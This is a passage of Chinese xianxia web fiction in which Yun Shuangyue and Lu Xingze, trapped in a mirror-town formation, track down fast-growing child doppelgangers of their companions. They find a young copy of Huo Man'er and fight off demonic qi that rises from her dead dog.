直到身后的人消停了,云霜月才继续端详着面前的小孩。
她总觉得有什么不对的地方。
直到视线扫到短了两截裤脚,她才明白问题究竟出在哪了。
男孩的身量居然在一夜之间拔高了不少,再仔细观察他的眉眼,竟感觉也比昨日成熟。
云霜月脑内一瞬间就出现了云氏古籍里对于“照影”分身的描述。
它们会通过吸收本体溢散的灵力和执念成长。
但她没想到会长得这么快。
那阵法中其他几人的分身眼下是什么情况?
云霜月的思维凝滞了一下,随后赶紧起身:“我们要快点下去和曼儿他们会和了。”
她朝前面走了几步,随后像是想到了什么似的又退了回来:“小则,来。”
陆行则听到熟悉的称呼下意识地就抬起头,只见面前的云霜月神色温柔地朝自己伸出手。
他放缓了起来的动作:“怎么……”又叫我小则了。
还想端着架子别扭几句,谁知余光撇见云霜月手上已经搭上一只手了。
陆行则眯起眼睛,这才正视起从刚刚就一直被他忽略的分身。
只见那小孩毫无距离感地就认下了这个称谓,手也被云霜月反握住牵上了。
“……”
陆行则停下了起身的动作,瞳孔颤动几下,莫名有点像暗中窥伺的蛇瞳。
他也不说话,视线就跟着眼前的女人移动。
一步,一步。
但是云霜月没有发现,她已经牵着男孩的手转身了。
直到云霜月的手摸上
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了门却怎么也推不开。
她有些疑惑转身,连带着手上牵着的那个东西也转过脸来看着他。
“陆公子,怎么不开门?”
被问到的陆行则顶着一张青涩的少年脸,纯良道:“我忘了要从这里出去,只能由我来先打开结界才行。”
他熟悉云霜月的所有动作,甚至知道她什么时候会转头。
换上一副笑眯眯的表情,这才起身跟上云霜月。
——
“霜月姐你们来了!”
随着云霜月一只脚踏出空间,火曼儿的声音就一下子传了过来。
“姐你可算来了,我刚刚差点都要给你上几柱香了!”左邢的声音也紧随其后,吵吵嚷嚷的。
“这是做什么?是我不在的时候发生什么事了吗。”云霜月失笑。
姬芜珩淡定的抿了一口茶:“他以为陆行则把你吓到了,正良心不安着呢。”
“左邢是不是又在说我坏话。”陆行则的脸从云霜月身后探了出来。
“我靠,陆行则你走路没声音啊!”左邢原本正朝着云霜月哭丧着脸打算赔罪呢,一看后面突然冒出来那么那么大一只人。
陆行则悠哉悠哉从云霜月后面走出来,不知有意无意还撞了一下她牵着的孩子。
踉跄一下。
云霜月感受到手被牵动,低头一看男孩刚刚差点摔倒。
云霜月担忧地询问怎么了。
只见他那张和陆行则相似的脸上浮现出一种隐忍的神情,朝陆行则飞快瞥了一眼就马上收回了。
随后小心翼翼地看向云霜月,摇摇头说:“没事……”
云霜月看向陆行则。
当事人手背在身后,左看看右看看,最后朝云霜月耸了耸肩表示自己不知道。
当着这么多人的面云霜月也拿他没办法,嘴角的红痣动了几下,随后把本想放开的手牵得更紧了。
她牵着小陆行则在桌前入座。
陆行则本人也不管云霜月有没有理会自己,非常自觉的在她旁边坐下了。
被他抢了位置的火曼儿一脸莫名,但一想到这家伙修为比她高,忍了。
她跑到同样在云霜月旁边的左邢那,伸出只脚踹踹他的凳子:“咳咳,你滚旁边去。”
左邢一时不察被她踹得身体一晃,好不容易才从椅子上稳住没摔下去。
他捂着心口站起来:“祖宗啊,你就不能好好说话吗。”
“我说话就这样,还没习惯?”火曼儿哼了一声,毫不客气地坐下来。
姬芜珩又抿了一口茶,瞥了一眼坐到自己身边的左邢:“我早和你说了你要被赶过来。”
“谁知道陆行则也坐那……”左邢嘀咕一句。
他换个舒服的姿势坐好,眼睛在这期间胡乱看着,随后突然在某处定住了。
“嗯?”他发出一道疑惑的声音:“这小孩是不是长大了一点。”
众人目光朝他看来,其中云霜月肯定地点了点头:“你说的没错,我正要和你们说这件事。”
她替男孩理了理衣服,接着说道:“关于这个法阵吸收灵力的速度我尚且不知,但是从这个孩子身上能看得出来速度很快。我们接下来要快点找到剩下的‘照影’了,越快越好。”
云霜月沉吟一会,随后蹙眉说出了种可能:“如果一种找不到的话……我不清楚等它成长到和我们一样的时候,会不会出现取代我们的情况。”
20. 镜像镇墟
“取代我们……”姬芜珩低声念着这几个字,陷入思考之中。
火曼儿刚往嘴里塞了一个小包子,听到这话后猛地一吸气,差点把自己呛到。
云霜月手附到她的身后给她拍一拍顺气:“慢点吃……”
另一只手放开了牵着小孩,忙给火曼儿倒了杯水推过来。
火曼儿赶紧接下给自己灌了进去。
左邢本来也被云霜月提出的可能惊住了,该说不说能作为那个家族的长女,即使灵力微弱,但在某些方面确实厉害。
正佩服她的敏锐呢,被火曼儿惊天动地的咳嗽声给搞无语了。
“喂,我说火曼儿你又在发什么疯,能不能正常点。”左邢换了个坐姿,顺便把屁股底下的椅子挪得离她远一点。
果然,下一秒火曼儿那女人的拳头就砸了过来,不过因为距离有些远就没打到。
呵呵,幸亏他早有预料。
谁知刚嘚瑟完,左邢就感觉自己被一股力气给推了回去。
“我……啊!”
正巧碰上火曼儿另一只拳头砸下来。
左邢吃痛捂着自己的手臂,回头看见罪魁祸首还在装作无事发生一样,又在喝他那茶。
“姬芜珩你什么时候和这女人一伙的。”
“正经人都看不上你好吗。”火曼儿替姬芜珩发声。
而这时的姬芜珩见杯底空了,没有理会左邢,而是看向了坐下之后就一直没说话的陆行则。
青年眉眼锋锐,却一改平时张扬的作风,垂眸安静地坐在那个女人的身边,也不知道在想什么。
身上的衣物也不是一贯鲜艳的颜色,而是换上了件光风霁月的白衣。
不知是不是二人坐在一起的缘故,姬芜珩觉得陆行则现在穿得和云霜月有些过分相似,刚刚差点让他看花眼了。
“陆行则,关于这件事你有什么想法?”他问。
那个男人这才抬眸,从刚刚那种游离的状态出来。
“没什么看法。”陆行则没看问这个问题的姬芜珩,而是把目光落到了在云霜月手边的那个男孩身上。
他眼神带着些凉意,用淡淡的语气说:“既然会取代我们,那就趁早找到杀死他们的方法啊。”
“啊?”左邢被陆行则这一开口就是杀气的话弄得愣了一下。
“哈哈,开玩笑的。”陆行则重新笑了起来,好像刚刚的冷脸只是错觉:“既然现在还是幼年的状态,先找到他们再说吧。”
他笑得好像有点过分灿烂了,在医馆泄进来的阳光下像是没有一点阴霾的样子。
只是和刚刚讨论的严肃有点违和。
“喂,做这个正道的剑修还要学会管理表情吗?”火曼儿低声凑过去,非常疑惑地问左邢。
左邢嘴角抽搐一下:“没有,就他这样。”
不过这两个人自以为说话很小声,但在这不大的桌子上其实被听得一清二楚。
就在火曼儿还要说话的时候,陆行则慢悠悠的声音传来。
“你们还要说什么。”窗外刚刚洒进来的阳光好像被阴云遮住了,陆行则一成不变的表情也被衬得有些鬼气森森。
左邢抖了抖肩膀,甩掉这个错觉。
他把头扭向和陆行则长得一模一样的小孩,控诉道:“你刚刚那玩笑还被小孩听到了,这个大人做得也太坏了。”
一旁的云霜月摸了摸小孩的头发,摇摇头:“没关系,他的听觉在我刚刚给他整理衣服的时候,就被我用灵力暂时封锁了一部分,只能听到模糊的声音。”
也不知是感觉到氛围的变化,还是单纯比较依赖云霜月。
那孩子在云霜月的手摸了一会将要放下时,又像小狗似地追过去蹭了蹭。
感受到她的手顿了一下,男孩仰头看了眼云霜月的脸色。
见她没有排斥的表情,只是神情不知为何有些诧异。
他也没管这么多,无视背后有道存在感极其强烈的视线,挤进了云霜月怀里。
云霜月猜测他或许是因为听力突然模糊而感到不安,就任由小孩到自己的怀里寻找安全感。
而刚刚那一瞬间的诧异是因为觉得男孩和陆行则的动作实在太像了。
就刚刚那蹭过来的样子,前不久陆行则就做过一套一模一样的。
她有些恍神。
这孩子要是真长到了陆行则这般大,她会不会有认不清二人呢?
感受到腰身一紧,她低头看去,原来是小孩将头埋得更深了一点。
云霜月轻笑一声,一下一下轻轻拍着小陆行则的脊背,将刚刚那个莫名其妙的想法抛之脑后。
真是越活越回去了,怎么会冒出这么奇怪的想法。
而在她旁边的陆行则本人就这么盯着那小孩,又在云霜月手放到他的脊背时挪动眼珠,像是陈旧的机关齿轮一样缓缓转向她。
云霜月有了一种被人注视着的感觉,可她凭借直觉左右看了看并未发现什么异常。
只有一个陆行则歪头朝她明媚一笑,发饰上的珠串随着动作碰撞发出脆响,任谁都能被他猝不及防的好颜色惊艳一下。
云霜月将头转了回来,此时桌上另外三人已经商议了有一会的规划了。
“霜月姐,既然要找人的话,我们认为分头行动最好。”火曼儿对云霜月说。
左邢也点头附和道:“姐我们目前是这么分的,你和火曼儿两人一起,然后我们三个男的一组,你看这样可以吗?”
云霜月思考了一下,也觉得没什么问题,毕竟之前她刚被卷入阵法时就是和火曼儿一起的。
她刚要点头同意,这时一道声音就插了进来。
“还是我和她一组吧,关于这个阵法我们知道的还是太少了,今天不知道会遇到什么突发状况。我的修为比火曼儿高,我和她一起会安全一点。”陆行则冠冕堂皇地说着。
姬芜珩听到这话也想了一下,随即点头支持道:“陆行则说的确实有道理。”
因为陆行则平时在队伍里就一直处于领头的位置,他说出来的话一般都能得到认可。
左邢同样也没什么异议,不过他一开始还以为陆行则嘴里那个“她”说的是火曼儿呢,后面才反应过来说的是云霜月。
还挺稀奇的,第一次见陆行则和不熟的女人走在一起。
啧啧啧,还是有点未来正道魁首的自觉的嘛。
也不怪左邢这么想,毕竟在他的视角下陆行则和云霜月在他们讨论的时候根本就没对过几次话。
唯一有意见的就是火曼儿了,她有些不服:“你那灵力都被限制成什么样了,现在和小白脸有什么区别。”
在这阵中还是她的体术有用点呢。
陆行则面色不变,还是用那种公平公正的语气说:“我的灵力都被限制成这样了,那左邢一个捣鼓罗盘的,带上姬芜珩一个学医的,他们修为现在几乎没有……”
火曼儿也意识到了,确实她去左邢那,陆行则保护云霜月,这样他们之间实力才算平衡。
“……”她说不出什么反驳的话,转头瞪了左邢和姬芜珩一眼。
要你们两个男的有什么用!
她“哼”了一声,一会后才对陆行则说了声:“我知道了。”
陆行则无害地扬了一下唇角,才把脸转向云霜月。
可以吗。<
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他用眼神询问云霜月,头微微下垂,这个角度可以让对面的人看到他漂亮的眼睛。
本就一双多情眼,刻意卖弄起来倒真的能让人软下心肠来。
况且云霜月本就心肠软,这些年下来纵容陆行则都已经成为她为数不多的习惯之一了。
他把话都说这么满了,那她还能说什么呢。
只能对上陆行则的眼睛。
又干坏事。
陆行则读到云霜月的眼神,不知悔改地将唇角再扬起几分。
——
白日里摊贩们的样貌逐渐清晰起来,手中的商品也比夜晚显眼。
路上竹扁担吱呀的声响,卖花老妪鬓角簪着新摘的花,露水顺着篾篮缝隙滴落,在石板路上洇出蜿蜒的痕迹。
陆行则凑上去看了眼,下意识想买给云霜月,随后才想起他们正处于阵法之中。
接着旁边又响起一道声音,是个卖饰品的摊贩。
“公子,要不要瞧一瞧?”
首饰摊前竹编的多层妆盒打开,头戴布巾的妇人向他展示摊位上的商品,镶着绿松石的银梳、有着大颗珊瑚珠的铜簪……
这其中一个珍珠耳珰在晨光下转出虹晕,吸引了陆行则的注意。
“姐姐,你问我一个男子要不要买饰品作甚?”他对这个突然来找自己搭话的摊贩有些怀疑。
妇人笑吟吟地打趣道:“你的夫人不就在那边?男子要会讨夫人欢心才行呀!”她向云霜月的方向努努嘴。
“见你一直围着夫人转,可是做了什么事情惹恼夫人了?”
“……”
“这耳珰实在和夫人和夫人合适,公子买一个吧。”妇人喋喋不休。
陆行则下意识想那钱币买下那对耳珰,结束这无意义的对话。
才想起他现在没钱啊。
可怜前世储物戒里万贯金银灵石的剑衡仙君,此时来到了一个阵法中的小镇,到处束手束脚的。
也不知摊贩想了什么,还是那副笑着的友善模样:“我看公子实在喜欢,那便赠予公子去逗您夫人开心吧。”
接着不由分说地将耳珰塞给陆行则。
此时行人穿行而过,陆行则一转眼,那妇人就消失不见了。
他皱了皱眉,将耳珰锁入储物戒。
这怪东西还是先别给云霜月好。
云霜月此时不在旁边,没有发现陆行则从头到尾都没否认她是他的夫人这件事。陆行则本人也没有这一世云霜月并未和他履行婚约的自觉。
他抬起头往四周看了眼,锁住云霜月后就马上抬脚跟上。
“云霜月,你在看什么。”他在女人身边站定,低下头问到。
那个碍事的小孩被云霜月安置在了随身空间,此时这个地方就有只有他们两人了。
云霜月没有立刻回答,那双嵌在脸上如同珍珠似的眸子被光照得也如同珠宝那样闪光。
他顺着云霜月的视线看去。
是一个热闹的茶馆,说书人正在里面猛地一拍醒木。
“你看二楼那个红衣服的小女孩……”云霜月开口。
陆行则眼睛划过茶馆的窗户,一下就看到了云霜月口中的小女孩。
只见那女孩梳着一个利索的马尾,手中似乎是想学着文人雅士那样拿了把折扇。她手中的扇面展开,因为主人并不怎么会摇晃这比她手大了好几倍的扇子,便一直将它挡在脸前,只能模模糊糊看到一双眼睛。
但云霜月却觉得这个小女孩和火曼儿极为相似。
她和陆行则对视一眼,确认了对方的想法。
随即两人轻点一下头,向茶馆走去。
21. 镜像镇墟
茶旗在外面招摇,陆行则先一步上前给云霜月掀开竹帘,二人一进来就听见醒木拍在黄梨木案上的脆响。
“啪——!”
“且说此间天地混沌时期,仙人就将此界一分为二!上下两界如同镜里镜外,上界的修士御剑穿云,下界的农人弯腰插秧。但每逢甲子轮回之期,两界障壁便会薄如蝉翼。这时就会有修士下界来,若凡人有幸被其看中,便可直接踏入上界……”
说书人说到一半,拿起一个豁口的茶杯喝了一口润润嗓子。
喝完之后也不放回桌案上,而是举起来朝着台下喝茶的人展示一圈:“诸位喝的这茶,便是沾了仙家灵气的残叶所煮成的。因为下界而来的修士虽有寻觅良徒的大能,但终归还是少数。最多的还是一些初境修士,会下来兜售上界独有的玩意。”
陆行则见云霜月进去后才放下竹帘,听到说书人的话后随意抬眼看了下他手中的茶,嘴角抽搐一下:“不就是普通的茶水吗,哪有灵气。怎么不管在哪个世界销售套路都一模一样啊。”
见他又提了一嘴那个世界的陌生词汇,云霜月结合了一下说书人那举着茶杯慷慨激昂的样子,也明白了陆行则说的话是什么意思。
她用袖子掩唇轻笑一声,打趣道:“云氏商会在上界偶尔也会这般。”
结果云霜月这头刚说完,下一秒那边喝茶的客人就提到了云氏。
“灵茶又如何?离我们这不远的清淮仙城不就有卖,还是那上界鼎鼎有名的云氏商会所生产的。”那个客人对着台上的说书人嚷嚷:“你这茶比他们的难道还有什么特别之处?”
“欸,这位兄弟你问对了地方!”说书人不知从哪掏出一把扇子,在手掌心敲了两下:“你既然知道这清淮仙城,必然也知道它对于凡人那是只允许出,不允许进。作为上界那云氏大族唯一留在下界的城镇,平日里仅供自家修士下界停留的场所,里面住的也是拥有仙缘而前往上界修士的凡人亲缘。对我们这些镇外的人那是一点都不开放啊……”
“但是!”说书人霎地打开扇子,扇动几下,一边还摸着自己不存在的胡须:“我们茶馆在里面有门路啊。这灵茶与其说是和云氏商会所生产的不同,还不如说就是云氏的,口味喝起来那简直是一模一样,让人回味无穷啊──”
“真有你说的那么好?小二,给我上一壶尝尝。”那客人像是被说动了,直接招呼了一下旁边的小二。
小二应声后走了,那人在等的过程中兴许是有些无聊,便对着台上的说书人问:“你既有仙人的门路,那想必对上界的事情也了解的挺多的,和我们说说呗。”
“好说,好说。”说书人又拿扇子给自己扇了几下:“所谓修真五境九重天,便是指初境、灵境、玄境、圣境、神境这五个大境界,每境再分九重。初境锻体,分皮肉、筋骨、腑脏为大三重。灵境开始修魂,有破妄、通幽、观微为三大重。初境修士在下界可以开山裂石,到了上界却连那几个大宗门的扫地仆役都不如。”
“剩下的那些境界具体是怎么样的,我一届凡人便不知喽……”说书人摇头晃脑,装模作样叹了一口气。
该说不说,这说书人还是有点水平的。讲话抑扬顿挫的调子让说出的内容引人入胜,连云霜月都有些想知道他未说完的话。
但看他的样子,显然不会再讲下去了。
于是云霜月看向旁边的陆行则:“还有的境界是怎么样的呢?”
“啊,你不知道吗。”陆行则只是惊讶一下,便没多说什么多余的的话直接给云霜月讲解道:“灵境之后的玄境分生死、轮回、涅槃三大重,这倒不是让修士真去死一回,而是将锻体和修魂二者结合,进一步修炼。再之后的圣境则是将造化、不灭、通天作为三大重,这个境界在修真界便算是厉害人物了,百仙盟里拥有这境界的人用几根手指都能数过来。”
云霜月听完后点点头:“前世我灵力难以凝练,便不关注这些于我遥远的东西了。”
陆行则也并未对她提起过,修炼一途对他来说如同呼吸饮水,和云霜月便没什么共同话题。
云霜月不主动问,他也就不会说。
“那神境呢?”云霜月没听他说到这个。
“神境……”
“神境自然是只存在传说中啦!”没等陆行则说完,一道脆生生的声音就打断了他。
云霜月和陆行则转头一看,却没见到什么人在说话。
“喂!我在这啦!”那道声音再次传来,这回还带着点气急败坏的味道。
二人低头一看,发现膝盖处站着一个矮小的女孩。
竟是他们一开始要找的那个坐在窗边的孩子,不知是什么时候下来的。
一袭做工精致的红衣,小脸白净,眼尾上挑尽显张扬气,和火曼儿本人有九分相似。
“喂,你们怎么……”不说话。
女孩叉腰,想要质问这两个没礼貌的大人。那个男的倒无所谓,她想要旁边的那个香香的大姐姐和她讲话。
结果话还没讲上呢,那个跟石头一样挡在大姐姐身边的男人就盯着了她。
直觉感觉到不对,女孩掐断自己的话,一扭身撒开腿跑了。
陆行则刚要动手抓住她,没想到这女孩就察觉到自己的意图先一步溜了。
“我去追。”他丢下一句话给云霜月。
茶馆人多,女孩仗着自己小小的身子灵活地越过一个个桌椅,而陆行则却因为身形高大,在这种地形上讨不着好。
就在他们追逐时,台上说书人的声音又传了过来:“要说当今修真界的格局,那还是得看上界。正派以百仙盟为首,以玄天门、天剑派、清霄宗为尊,往下再是上百宗门。然后就是传说中的四大家族,清淮云氏算其中之一,剩下三个分别是沧溟姬氏,栖梧凤氏,玄霜白氏。由它们一起维持上界的秩序。”
茶馆的楼梯发出阵阵脚步声,陆行则正追着小女孩向上跑去。从上面端着茶盏走下来的小二一时不察,被埋头往前冲的孩子撞了一下。结果没等他扶稳手中的东西,又一个冒昧的人再次把他撞得身形一歪。
“喂!”他愤怒转头,叽里呱啦咒骂的话被说书人的声音盖住了。
前堂突然爆出喝彩,说书人此时正讲到百仙盟主当年镇压魔界的典故。他拔高声调:“魔界由混沌时期天地残念而生,积累着天地间的死气。那处的魔物生来便无神志,只靠一抹杀念存活。盟主出世以前魔物入侵人界,以凡人的血肉为食。”
楼上的食客正往嘴里塞着一块红烧肉。
一个红色衣服的小女孩撞开他,“唰——”的一下就不见了。红烧肉掉进了碗里,食客叹了一口气,没计较。动了动筷子,夹
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起来打算再次放入嘴里。
陆行则就在此刻追了上来,没见到那女孩的身影,这个地方只余下一个敞开的窗户。他一只手撑住食客的桌子,翻身跃过,随后直接就从窗户那跳了下去。
人去之后,唯有食客在风中凌乱。他看着自己掉到地上的红烧肉,沉默半天后呜咽一声。
“总算捉到你了。”在食客伤心之际,陆行则已经在茶馆的后巷抓住了女孩。
“你到底谁啊!抓我干嘛!”她在陆行则手下挣扎着。
“问你个问题,告诉我就放了你。”陆行则把她提到面前,露出友善的表情。
女孩根本不买账,虚伪的人,这时候告诉他自己叫什么不是傻吗!
但她又不能不说话,于是就用小孩那天真的脑袋想了又想,憋出一句:“我叫李翠花。”
“你骗鬼呢。”陆行则听到这敷衍的名字都无语了,凑近女孩露出森森犬牙,打算进一步威胁她。
呵呵,恐吓小孩的事情,他陆行则可干得多了去了。
“好了,陆公子。放开这孩子吧。”
小女孩听到一道轻柔的声音传来,像是羽毛拂过耳朵一样。没等她反应过来,就感觉到衣领一松,自己被好端端地放了下来。
在地上站稳,她看到那个在茶馆的大姐姐走上前来,垂目对她微微一笑。
她又别过头瞅了眼刚刚抓住她的那个男人,只见他老实站在一边看着大姐姐,一点都不把眼神分给自己了。
于是她脑内感觉好像有一道灵光闪过,哒哒哒就跑到女人身后站住,极为崇拜地抬头看着云霜月。
“哇姐姐!这时你调教出来的召唤兽吗?好听话!”女孩伸出短短的手指向陆行则:“我还是第一次见到召唤兽是人型的呢!之前只听小白讲过。”
云霜月听到她这童言无忌的话后,震惊地眨了眨眼睛。
然而更加微妙的是陆行则本人并没有出声反驳,而是一脸不爽地看着小女孩揪住云霜月裙角的手。
“……”云霜月不知道他为什么不说话,在这奇怪的氛围中她只得蹲下身子,看着小女孩解释道:“不是的,这个哥哥不是姐姐的召唤兽。”
“那就是姐姐的宠物喽?”小女孩睁着天真无邪的大眼睛,继续语出惊人。
“也不是姐姐的宠物。”见陆行则站在一旁还是没反驳,搞得云霜月耳尖都有点尴尬到泛红:“哥哥和姐姐一样都是人。”
看小女孩还有说话,云霜月感觉起唇转移话题:“小朋友,你叫什么呀?”
女孩装作大人的样子摸着下巴:“小白叫我不要告诉陌生人名字。”她看着云霜月,随后扬起一个笑脸:“但是我很喜欢姐姐!姐姐,我叫火曼儿。”
“呦,不叫李翠花了啊?”刚刚一直当哑巴的陆行则这回倒是说话了。
“喂!要你管!”女孩朝他作了个鬼脸,随后有些羞涩地看向云霜月:“姐姐,你要不要来我家玩呀?”
她像云霜月发出邀请,毕竟在小孩子的世界里想和谁交朋友,就要把她带到家里一起玩。
云霜月这头刚想着怎么继续和火曼儿的分身接触,下一秒女孩就递来了台阶。
“好。”笑着点头应下,不过她对一个点有些好奇:“你口中的小白是谁?”
“我养的小狗!”女孩笑容灿烂。
22. 镜像镇墟
“姐姐,你是来这里玩的吗?我之前没有见过你。”火曼儿牵着云霜月的一根手指,感受到冰凉的温度。
云霜月感觉到女孩握上来那一瞬间的瑟缩,将自己的指尖改为衣袖塞到女孩手里:“确实是第一次过来,我们对这还不是很了解。曼儿,你一直住在这个镇子上吗?”
她对此有个疑问,这镇子前世就存在了,里面必然存在原住的居民。陆行则当时一人前去,并未触发阵法。而这一世众人进入阵中后分身也随之诞生,那他们是如何自然融入居民之中的呢?
太乙镇灵阵抓取的是三千世界中所谓的那某一个分身,将他们投放到此镇之中。所以云霜月猜测阵法会篡改分身的某些记忆,为其补充一点关于这个镇子某些必要的常识。
想知道这个镇子的真正背景,或许可以从他们的分身上入手。比观察原住民,从他们的日常中得出结论要快上许多。
果然,火曼儿点点头:“我从小就住在镇南那,我想出去看看。但小白说要等我长大一些,和娘亲那般年岁了才能出去。”
“但我没见过娘亲,也没见过父亲。家里只有小白和我,是小白带着我长大的。”她面色如常,并没有什么伤心的情绪。
和陆行则分身的情况一样,“照影”的关系网都十分浅薄,亲缘寡淡,但为何火曼儿这会多出一个和她日日相伴,明显关系就很好的小白。
云霜月从刚刚就在想,既然女孩口中的小白是条小狗,为何在她说的话中又处处皆像人。
云霜月没有直接问出来这个问题,她拿不准火曼儿口中的小白有没有可能就是阵法的特殊之处之一。在一开始听到女孩口中小白是她养的宠物时,陆行则就和云霜月交换了一下眼神,决定先跟着火曼儿去她家里看看。
想到了陆行则,云霜月转头向后看了一眼。
身量高挑的少年正踩着自己的影子,一步步乖顺跟在她背后。他穿着和自己极为相似的白衣,气质却和云霜月天差地别。月白色的宽大衣袍在明艳的阳光下亮地晃眼,银冠竖起的高马尾在春风里荡起张扬的幅度。
察觉到前面人的视线,少年将自己的视线从脚下追逐的影子上移开。
陆行则歪了歪头,带动腰间剑上别着的剑穗晃到花摊上,让竹篮里的白色茉莉扑簌簌乱颤。
不知自己从云霜月黑亮的眼睛里读到了什么,他两三步就追了上来,马尾上坠着的红色玛瑙饰品随着发丝一起落到了云霜月肩上。
有些痒。
云霜月另一只手的袖子被火曼儿牵着,她只能有些别扭地拿离陆行则远的那只手推推他的臂膀。
说是推,但其实根本没多少力道,至少对陆行则来说是这样觉得的。就和刚刚那花摊上斜伸出来的一支梨花碰到他的感觉差不多。
于是陆行则装不知道,这件事他熟练啊。整个人黏过去,还故意挤挤云霜月。
不用看也能感受到云霜月那温和的无奈表情,两根细细的眉毛微微舒展,眼神盈盈落在他的脸侧。陆行则闷闷笑了两声,别过脸去就不看她。
随着他的动作,脑后的发丝更多地倾落到云霜月肩上,身上清爽的少年气息和她发间逸散出的沉静香气纠缠混杂到一起,无声侵入云霜月的感官。
“这对娘子郎君,要不要尝尝我们家的冰镇梅子饮啊。”一旁的店家娘子看着他们拉拉扯扯的动作,笑着招呼二人。
“喂!你挤着我了。”被陆行则当成空气挤在中间的火曼儿突然大叫一声。
她真是受不了了,这里有狗骨头吗?他莫名其妙挤过来干嘛啊!
火曼儿用她那小个子报复地撞向陆行则,也不知这个年纪哪来的这么大力气,还真将猝不及防的他撞歪了。
难怪本体是体修呢。
陆行则扶住一旁的摊子以作支撑,上面摆着的梅子饮碎冰晃动,叮珰作响。拿来遮阳的竹帘被风吹了起来,清脆的铃铛声和店家娘子的惊呼混到了一起。
“哈哈,让你挤我。”火曼儿叉腰嘲笑陆行则,那样子和长大后嘲讽左邢的样子简直一模一样。
难怪左邢天天和她吵起来,陆行则扯了扯嘴角。
“你别想贴着大姐姐了,我家就在前面!”她一只手仍放在腰上,另一只手伸出来指向前方:“哝,就是那个。”
只见随着他们的脚步向前,一座精致的小院落逐渐展现出来。
黛瓦白墙内探出半树西府海棠,院门虚掩着,几只麻雀在门前蹦蹦跳跳,见有人来了便扑棱棱四散飞走。
火曼儿松开云霜月的袖子,跑进院门扯着嗓子叫了两声:“小白?小白!”
陆行则这时顶替了火曼儿的位置站在云霜月旁边,听到小白这个词后收敛闲散的神色,朝云霜月看去。
云霜月此刻也转过脸来,朝他微微点了下头。
结果他们二人等了一会,却没听到接下来有什么声音传出。
云霜月感觉有什么不对,她指尖碰了下陆行则的腰带,让他站在前面。不过陆行则在她的手放上来时,就已经自觉抬脚挡到了云霜月前面。
二人保持着一前一后的姿势踏入院中。
只见火曼儿站在那棵海棠树下,一改刚刚轻快的脸色。
她小小的手捂住嘴巴,瞪大眼睛看向一旁。
阳光透过海棠树在地上洒下细碎的影子,有一条白色的狗侧卧如沉睡。
但仅仅是只睡着的狗必然不会让火曼儿露出这种表情。
陆行则上前,走近了就能看到白狗的嘴巴微微敞开,抹抹黑气蒸腾而上。
看到那个黑气的瞬间,陆行则顿住脚步,下意识抽出剑挡在云霜月前面。
为什么这个镇中会出现魔气。
且不说他们在阵法之中,单论这个陌生的镇子离清淮城如此相近,上界修士时不时会出没在附近。怎么会出现魔气这种仅存于魔域的东西。
在他的注视之下,地上昏死的白狗毛色开始发灰,身体逐渐被魔气蚕食,直至整只狗都变成了一团黑气。
黑气上浮凝聚成三趾利爪,像是长了眼睛一样扫视,骤然朝着陆行则狰狞扑来!
陆行则的剑早就准备着了。
他手握赤霄剑,暗红的剑刃搅动黑气,霎那间那团小小的黑气膨胀,千百张兽脸在雾中轮转嘶吼。
陆行则的剑穗拂过云霜月手背,腰间的玉佩映出黑雾核心的一点猩红。
赤霄剑锋燃起红色火焰,陆行则翻转手腕挑剑刺入雾中兽首,火舌顺着剑身吞没黑气,伴随着类似于陶器碎裂的脆响,黑气消散。
剑尖还在嗡鸣,陆行则反手甩落沾附的残留雾气。那团苟延残喘的黑影在地上蛇形逃窜,被他掷出的剑钉住,即使最后再不甘挣扎也还是消散了。
“没事吧。”云霜月护着火曼儿。
她在刚刚陆行则解决雾气的时候也没闲着,立刻将火曼儿牵到了身后。
眼下危机解除,云霜月蹲下身摸摸火曼儿的脸,想安抚她的情绪。
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>但火曼儿并没有同她预料中的伤心流泪,也并不存在吓到的样子,听了云霜月的话后也只是乖巧摇摇头。
“小白怎么又死了。”火曼儿叹了口气,像是大人一样遗憾的口气。
但她的态度在这种情况下显然有些违和的诡异。
云霜月抿了抿嘴:“曼儿,这到底是……怎么回事。”
“啊,抱歉抱歉。忘了大姐姐你们刚来这。”火曼儿才意识到这件事。
——
火曼儿给云霜月搬来一个藤编小椅,随后给自己也搬来一个坐下。
一旁站着的陆行则看海棠树下仅有的两把椅子,冷笑一声。
他没和火曼儿这小屁孩计较,看了眼地上,顺势扯了一截云霜月的裙角垫着就坐下了。
“哇!你要不要脸,还坐大姐姐裙子上。”火曼儿从椅子上跳起来,大叫一声。
陆行则露出一个无害的笑脸:“你大姐姐都没说什么。”
他和云霜月什么关系,这小孩和云霜月又什么关系。
呵呵。
头顶被云霜月拍了一下,陆行则缩缩脖子,闭上嘴不和那小孩继续斗嘴了。
“好了。曼儿,和我们讲讲小白是怎么回事吧?”
火曼儿见陆行则被制裁,得意哼哼两声,也听了云霜月的话给她讲述关于小白的事情。
“小白一开始不是狗,是把我带大的老管家。我母亲常年在外,和父亲一样不曾归家。一直是小白陪着我。”火曼儿睁着圆溜溜的眼睛:“但是后面他就被镇子里的魔物吃掉了。”
“魔物?”云霜月捕捉到关键的信息。
“对呀。大姐姐我和你讲哦,晚上出门你们得小心点,这里会有黑漆漆的丑八怪魔物乱咬人……”火曼儿像是叮嘱云霜月要天寒多添衣那种稀疏平常多语气说着,显然代表着魔物在她的眼中也是极为平常的东西。
这太诡异了。
锁在魔域的危险生物,到了这个小镇却作为日常的东西被讲出来。
“小白死了以后,母亲又给我送来了一个小白。这次的小白比上次的年轻很多,他很喜欢带着我出去玩。”顿了顿:“但他后来也被魔物吃掉了。”
火曼儿扣扣手:“后来母亲就不给我送小白来了。我只能自己出去,抱了只小狗回来。”
但它现在也死了。
“……”
云霜月抿唇,嘴角的红痣蠕动两下。
她伸出手让火曼儿过来。
火曼儿虽然不知道为什么,但还是乖乖站到了云霜月面前。
女人伸出柔软的臂膀,将她幼小的身体抱进怀中,一只手抚摸着她的头发,另一只手拢紧女孩。
苍白的手划过火曼儿的发间,恍若一捧春雪落在乌黑的绸缎之上。
火曼儿在这充满宁静香气的怀中睁大眼睛。
她用眼睛描摹着女人衣服上的花纹,耸动鼻尖,嗅到了对方袖笼里梨花香混着旧书卷的涩味——恍惚间想着,母亲会不会也是这样的呢?
那些少女孩童在逝去时光中幻想的温柔,此刻正透过薄罗小袖渗透进她的脊背。
垂落的青丝如瀑,拂过她的脸颊。云霜月将下颔轻轻抵在女孩的发旋处,如同承接一枚过早凋零的椿花。
啊……
诶?
眼眶里好像有什么湿润的东西,热热的。
好奇怪的感觉。
火曼儿在久久沉默中,才后知后觉的,突然呜咽一声。
23. 镜像镇墟
“我们现在就把她带回去吗?”陆行则看着哭累了在云霜月怀中睡着的女孩。
